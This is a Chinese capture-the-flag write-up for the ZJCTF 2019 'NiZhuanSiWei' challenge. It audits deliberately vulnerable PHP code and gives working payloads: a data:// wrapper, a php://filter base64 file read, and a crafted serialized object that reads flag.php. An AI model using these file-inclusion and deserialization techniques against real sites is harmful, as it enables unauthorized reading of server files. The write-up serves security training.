[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
打开靶机直接审计php代码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个if语句的意思就是要让text这个变量里的内容等于这个"welcome to the zjctf",我们这里可以使用php当中的data协议使这个text里的内容变成这个"welcome to the zjctf"
payload:?text=data://text/plain,welcome to the zjctf
?text=data:text/plain,welcome to the zjctf
没有双斜杆应该也行
回显:
然后我们继续往下分析在这个file变量里不能有flag,根据注释,它应该是要让我们去包含useless.php文件,由于include函数直接包含文件是无法直接读取内容的,所以我们这里用filter协议去进行读取
paylod:file=php://filter/read=convert.base64-encode/resource=useless.php
完整的payload也就是这样:?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
这个filter协议的作用就是把包含的文件内容经过base64加密之后再读取出来
回显:
接着我们这段编码进行解密,就是如下代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
根据代码我们应该是要通过反序列化去读取这个flag.php这个文件
构造序列化代码:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
最终payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
我们要注意的是要把file那里的传参改成file=useless.php
最终flag就在注释里面